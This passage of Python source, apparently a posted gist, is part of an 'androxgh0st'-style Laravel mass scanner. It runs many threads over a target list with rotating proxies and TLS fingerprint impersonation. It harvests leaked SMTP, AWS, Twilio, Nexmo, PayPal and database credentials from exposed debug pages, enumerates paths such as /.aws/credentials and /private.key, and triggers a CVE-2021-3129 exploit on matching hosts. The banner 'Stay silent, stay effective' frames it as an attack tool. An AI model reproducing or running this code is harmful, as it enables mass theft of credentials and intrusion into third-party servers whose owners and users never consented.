pass # Lanjutkan ke pemeriksaan berikutnya atau tandai tidak rentan
elif res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit_post_fallback")
printf(f"{Fore.YELLOW}[!] Rate limited (429) for {url} (POST fallback). Proxy marked failed.{Style.RESET_ALL}")
elif "<td>APP_KEY</td>" in res.text:
resp = res.text
leak_type = parse_leak_content(resp)
leak_path = f"POST / ({leak_type})"
text = f"{Fore.GREEN}# {url} | Leaked: {leak_path}{Style.RESET_ALL}"
printf(f"{Fore.GREEN}[+] Found potential leak via POST at {url}{Style.RESET_ALL}")
if "_ignition" in url and not is_cve_2021_3129_vulnerable: # Periksa apakah URL itu sendiri mengandung _ignition
printf(f"{Fore.CYAN}[*] Scanning: Potential CVE-2021-3129 target found via POST at {url}. Attempting exploit...{Style.RESET_ALL}")
if exploit_cve_2021_3129(url, current_proxy, random.choice(JA3_IMPERSONATIONS)):
is_cve_2021_3129_vulnerable = True
except Exception as e: # Tangkap error tak terduga lainnya
printf(f"{Fore.RED}[!] Unexpected error (POST) for {url}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error (POST) for {url}: {e}\n")
pass
finally:
time.sleep(random.uniform(0.05, 0.2)) # Delay acak kecil
# ✅ Vuln ditemukan atau tidak
if resp:
printf(f"{Fore.CYAN}[*] Processing leaked content for {url}...{Style.RESET_ALL}")
getsmtp = androxgh0st().get_smtp(resp, url)
getwtilio = androxgh0st().get_twillio(resp, url)
smsapi = androxgh0st().get_nexmo(resp, url)
getaws = androxgh0st().get_aws_data(resp, url)
getpp = androxgh0st().paypal(resp, url)
getdb = androxgh0st().get_database(resp, url) # Added database check
printf(f"{Fore.CYAN}[*] Checking for sensitive files from previous scans for {url}...{Style.RESET_ALL}")
try:
# Read sensitive_found.txt outside the loop to avoid race conditions on file read
sensitive_urls_to_check = []
with file_locks['sensitive_found.txt']:
if os.path.exists("Results/sensitive_found.txt"):
with open("Results/sensitive_found.txt", "r") as f:
sensitive_urls_to_check = [line.strip() for line in f if line.strip()]
for target in sensitive_urls_to_check:
if url in target: # Hanya periksa ulang file sensitif yang terkait dengan URL saat ini
printf(f"{Fore.CYAN}[*] Re-checking sensitive file: {target}{Style.RESET_ALL}")
try:
# Gunakan fungsi helper
res = make_request_with_fallback('GET', target)
if res is None: # Jika make_request_with_fallback mengembalikan None (gagal)
continue # Lanjutkan ke target/proxy berikutnya
if res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit_sensitive_recheck")
printf(f"{Fore.YELLOW}[!] Rate limited (429) for {target} (sensitive re-check). Proxy marked failed.{Style.RESET_ALL}")
continue # Lanjutkan ke target/proxy berikutnya
elif res.status_code == 200:
resp2 = res.text
androxgh0st().get_smtp(resp2, url)
androxgh0st().get_twillio(resp2, url)
androxgh0st().get_nexmo(resp2, url)
androxgh0st().get_aws_data(resp2, url)
androxgh0st().paypal(resp2, url)
androxgh0st().get_database(resp2, url)
except Exception as e: # Tangkap error tak terduga lainnya
printf(f"{Fore.RED}[!] Unexpected error (sensitive file fetch) for {target}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error (sensitive file fetch) for {target}: {e}\n")
continue
finally:
time.sleep(random.uniform(0.05, 0.2)) # Delay acak kecil
except FileNotFoundError:
pass
except Exception as e:
printf(f"{Fore.RED}[!] Error processing sensitive_found.txt: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error processing sensitive_found.txt: {e}\n")
printf(f"{Fore.CYAN}[*] Checking for Laravel fingerprints for {url}...{Style.RESET_ALL}")
fingerprint_paths = [
"/vendor/composer/installed.json",
"/composer.lock",
"/vendor/laravel/framework/src/Illuminate/Foundation/Application.php"
]
for path in fingerprint_paths:
try:
full_url = url + path
# Gunakan fungsi helper
res = make_request_with_fallback('GET', full_url, allow_redirects=False)
if res is None: # Jika make_request_with_fallback mengembalikan None (gagal)
continue # Lanjutkan ke path/proxy berikutnya
if res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit_fingerprint")
printf(f"{Fore.YELLOW}[!] Rate limited (429) for {full_url} (fingerprint). Proxy marked failed.{Style.RESET_ALL}")
continue # Lanjutkan ke path/proxy berikutnya
elif res.status_code == 200 and "laravel" in res.text.lower():
write_to_file_safe('Results/fingerprint.txt', f"{url} | {path}\n")
text += f' | {Fore.MAGENTA}Laravel Fingerprint{Style.RESET_ALL}'
printf(f"{Fore.GREEN}[+] Found Laravel fingerprint at {full_url}{Style.RESET_ALL}")
except Exception as e: # Tangkap error tak terduga lainnya
printf(f"{Fore.RED}[!] Unexpected error (fingerprint) for {full_url}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error (fingerprint) for {full_url}: {e}\n")
continue
finally:
time.sleep(random.uniform(0.05, 0.2)) # Delay acak kecil
printf(f"{Fore.CYAN}[*] Enumerating common sensitive files for {url}...{Style.RESET_ALL}")
sensitive_paths = [
"/.git/config", "/.svn/entries", "/.DS_Store", "/config.php",
"/database.yml", "/settings.py", "/.aws/credentials",
"/credentials.json", "/secrets.json", "/private.key",
"/config/config.json", "/core/.env", "/firebase.json",
"/.vercel/project.json", "/.npmrc", "/.yarnrc", "/.dockerenv"
]
for path in sensitive_paths:
try:
full_url = url + path
# Gunakan fungsi helper
res = make_request_with_fallback('GET', full_url, allow_redirects=False)
if res is None: # Jika make_request_with_fallback mengembalikan None (gagal)
continue # Lanjutkan ke path/proxy berikutnya
if res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit_sensitive_enum")
printf(f"{Fore.YELLOW}[!] Rate limited (429) for {full_url} (sensitive enum). Proxy marked failed.{Style.RESET_ALL}")
continue # Lanjutkan ke path/proxy berikutnya
elif res.status_code == 200 and any(x in res.text.lower() for x in ["aws", "smtp", "password", "token", "private", "key", "secret"]):
write_to_file_safe('Results/sensitive_found.txt', f"{url + path}\n")
text += f' | {Fore.MAGENTA}Sensitive File{Style.RESET_ALL}'
printf(f"{Fore.GREEN}[+] Found sensitive file at {full_url}{Style.RESET_ALL}")
except Exception as e: # Tangkap error tak terduga lainnya
printf(f"{Fore.RED}[!] Unexpected error (sensitive enum) for {full_url}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error (sensitive enum) for {full_url}: {e}\n")
continue
finally:
time.sleep(random.uniform(0.05, 0.2)) # Delay acak kecil
# Tambahkan status ke 'text'
# Pastikan semua indikator status selalu dicetak
text += f' | SMTP: {Fore.GREEN}YES{Style.RESET_ALL}' if getsmtp else f' | SMTP: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | AWS: {Fore.GREEN}YES{Style.RESET_ALL}' if getaws else f' | AWS: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | TWILIO: {Fore.GREEN}YES{Style.RESET_ALL}' if getwtilio else f' | TWILIO: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | SMS API: {Fore.GREEN}YES{Style.RESET_ALL}' if smsapi else f' | SMS API: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | PAYPAL: {Fore.GREEN}YES{Style.RESET_ALL}' if getpp else f' | PAYPAL: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | DATABASE: {Fore.GREEN}YES{Style.RESET_ALL}' if getdb else f' | DATABASE: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | CVE-2021-3129: {Fore.GREEN}VULN{Style.RESET_ALL}' if is_cve_2021_3129_vulnerable else f' | CVE-2021-3129: {Fore.RED}NOT VULN{Style.RESET_ALL}'
text += f' | Mix Manifest: {Fore.GREEN}FOUND{Style.RESET_ALL}' if is_mix_manifest_found else f' | Mix Manifest: {Fore.RED}NOT FOUND{Style.RESET_ALL}'
else:
text = f"{Fore.RED}# {url} | No significant leak found | Can't get everything{Style.RESET_ALL}"
write_to_file_safe('Results/not_vulnerable.txt', url.replace('\r', '') + '\n')
except Exception as e:
text = f"{Fore.RED}# {url} | Can't access sites or unexpected error: {e}{Style.RESET_ALL}"
write_to_file_safe('Results/not_vulnerable.txt', url.replace('\r', '') + '\n')
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] General error for {url}: {e}\n")
printf(text) # Cetak status akhir untuk URL
if __name__ == '__main__':
print(f"""
{Fore.CYAN}
Laravel Scanner Brutal
[+] Scanning: APP_KEY | SMTP | AWS | TWILIO | NEXMO AND ETC
[+] Build Time: 11-07-2025 10:00
[+] Stay silent, stay effective
{Style.RESET_ALL}
""")
readsplit = []
lists = ''
numthread = ''
sessi = ''
proxy_input_val = ''
try:
readcfg = ConfigParser()
readcfg.read(pid_restore)
if readcfg.has_option('DB', 'FILES'):
lists = readcfg.get('DB', 'FILES')
numthread = readcfg.get('DB', 'THREAD')
sessi = readcfg.get('DB', 'SESSION')
if readcfg.has_option('DB', 'PROXY_INPUT'):
proxy_input_val = readcfg.get('DB', 'PROXY_INPUT')
print(f"{Fore.YELLOW}[*] Session found!{Style.RESET_ALL}")
print(f"Using Configuration :\n\tFILES={lists}\n\tTHREAD={numthread}\n\tSESSION={sessi}\n\tPROXY_INPUT={proxy_input_val}")
tanya = input(f"{Fore.YELLOW}Restore session? [Y/n] {Style.RESET_ALL}").strip().lower()
if tanya == 'y' or tanya == '':
try:
with open(lists, 'r') as f:
all_lines = f.read().split("\n" + sessi)
if len(all_lines) > 1:
readsplit = all_lines[1].splitlines()
else:
readsplit = open(lists).read().splitlines()
print(f"{Fore.GREEN}[+] Session restored successfully.{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}Failed to restore session: {e}. Starting fresh.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Failed to restore session: {e}\n")
else:
print(f"{Fore.YELLOW}[!] Not restoring session.{Style.RESET_ALL}")
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error reading session file: {e}\n")
pass
if not readsplit:
try:
if len(sys.argv) >= 3:
lists = sys.argv[1]
numthread = sys.argv[2]
if len(sys.argv) >= 4:
proxy_input_val = sys.argv[3]
else:
lists = input(f"{Fore.CYAN}Path to target list: {Style.RESET_ALL}").strip()
numthread = input(f"{Fore.CYAN}Thread count (e.g., 20, 50, 100, 200): {Style.RESET_ALL}").strip()
proxy_input_val = input(f"{Fore.CYAN}Enter single proxy (e.g., ip:port or user:pass@ip:port) or path to proxy list (leave empty if none): {Style.RESET_ALL}").strip()
readsplit = open(lists).read().splitlines()
except Exception as e:
print(f"{Fore.RED}[!] Failed to load list or invalid input: {e}. Exiting.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Failed to load list or invalid input: {e}\n")
sys.exit()
# Pastikan numthread adalah integer
try:
numthread = int(numthread)
if numthread <= 0:
raise ValueError("Thread count must be a positive integer.")
except ValueError as e:
print(f"{Fore.RED}[!] Invalid thread count: {e}. Using default 10 threads.{Style.RESET_ALL}")
numthread = 10 # Default to 10 if invalid input
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Invalid thread count input: {e}. Defaulting to 10 threads.\n")
if proxy_input_val:
proxy_manager = ProxyManager(proxy_input_val)
if not proxy_manager.proxies:
print(f"{Fore.RED}[!] No valid proxies found. Continuing without proxies.{Style.RESET_ALL}")
proxy_manager = None
elif len(proxy_manager.proxies) == 1:
print(f"{Fore.BLUE}[*] Using single proxy: {proxy_manager.proxies[0]['http']}{Style.RESET_ALL}")
else:
print(f"{Fore.BLUE}[*] Using {len(proxy_manager.proxies)} proxies for rotation.{Style.RESET_ALL}")
pool = ThreadPool(numthread)
print(f"{Fore.GREEN}[*] Starting scan with {numthread} threads...{Style.RESET_ALL}")
for url in readsplit:
if "://" not in url:
url = "http://" + url
url = url.rstrip('/')
jagases = url
try:
pool.add_task(main, url)
except KeyboardInterrupt:
with open(pid_restore, 'w') as session:
cfgsession = f"[DB]\nFILES={lists}\nTHREAD={numthread}\nSESSION={jagases}\n"
if proxy_input_val:
cfgsession += f"PROXY_INPUT={proxy_input_val}\n"
session.write(cfgsession)
print(f"\n{Fore.YELLOW}[!] CTRL+C detected, session saved.{Style.RESET_ALL}")
sys.exit()
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error adding task for {url}: {e}\n")
print(f"{Fore.RED}[!] Error adding task for {url}: {e}{Style.RESET_ALL}")
pool.wait_completion()
try:
os.remove(pid_restore)
print(f"{Fore.GREEN}[+] Session file removed.{Style.RESET_ALL}")
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error removing session file: {e}\n")
pass
print(f"{Fore.GREEN}[+] Scanning complete.{Style.RESET_ALL}")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment